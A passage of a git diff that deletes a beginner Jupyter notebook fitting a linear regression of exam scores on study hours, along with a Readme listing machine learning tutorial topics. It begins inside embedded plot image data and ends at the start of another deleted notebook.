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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sns.pairplot(df)" - ] - }, - { - "cell_type": "markdown", - "id": "01770de6", - "metadata": {}, - "source": [ - "# Dividing the data in Attributes and Label" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "id": "e320940f", - "metadata": {}, - "outputs": [], - "source": [ - "X=np.array(df[\"Hours\"])\n", - "y=np.array(df[\"Scores\"])" - ] - }, - { - "cell_type": "markdown", - "id": "715ef3c4", - "metadata": {}, - "source": [ - "# Split Data in test and train" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "id": "a4d8e775", - "metadata": {}, - "outputs": [], - "source": [ - "X_train, X_test, y_train, y_test = train_test_split(X.reshape(-1,1),y.reshape(-1,1), test_size=0.2, random_state=0)" - ] - }, - { - "cell_type": "markdown", - "id": "359b8195", - "metadata": {}, - "source": [ - "# Predicting using LinearRegression" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "id": "5d57b74d", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Accuracy of the model : 0.9515510725211552\n" - ] - } - ], - "source": [ - "lr = LinearRegression() \n", - "lr.fit(X_train, y_train) \n", - "lr_pred = lr.predict(X_test)\n", - "accuracy=lr.score(X_train,y_train)\n", - "print(\"Accuracy of the model :\",accuracy)" - ] - }, - { - "cell_type": "markdown", - "id": "7094659e", - "metadata": {}, - "source": [ - "# Plotting the regression line" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "75a6d694", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "line = lr.coef_*X.reshape(-1,1)+lr.intercept_\n", - "plt.scatter(X, y) \n", - "plt.plot(X, line, color=\"y\");\n", - "plt.show()" - ] - }, - { - "cell_type": "markdown", - "id": "d8812807", - "metadata": {}, - "source": [ - "# Predicted score if a student studies for 9.25 hrs/ day" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "id": "78df60b1", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Predicted score : [[93.69173249]]\n" - ] - } - ], - "source": [ - "z=np.array(9.25)\n", - "pred_lr = lr.predict(z.reshape(-1,1))\n", - "print(\"Predicted score :\",pred_lr)" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.8" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/IPYNB/Machine Learning Tutorial/Readme.md b/Add Code Here/IPYNB/Machine Learning Tutorial/Readme.md deleted file mode 100644 index b66d9f21943..00000000000 --- a/Add Code Here/IPYNB/Machine Learning Tutorial/Readme.md +++ /dev/null @@ -1,22 +0,0 @@ -##Machine Learnig Tutorial## - -This repository contains a Machine Learning tutorial scripts. - -Contents :- - -1. Scikit Learn -2. Time Series -3. TensorFlow -4. Arimax and Sarimax -5. Computer Vision -6. Linear Regression -7. Logistic Regression -8. Model Validation using Resampling -9. Deep Learning -10. Autoencoders -11. Convolutional Neural Nets -12. Natural Language Processing -13. Support Vector Machine -14. Decision Trees - - diff --git a/Add Code Here/IPYNB/Machine Learning Tutorial/Scikit Learn.ipynb b/Add Code Here/IPYNB/Machine Learning Tutorial/Scikit Learn.ipynb deleted file mode 100644 index 2c79197c0d8..00000000000 --- a/Add Code Here/IPYNB/Machine Learning Tutorial/Scikit Learn.ipynb +++ /dev/null @@ -1,670 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": 65, - 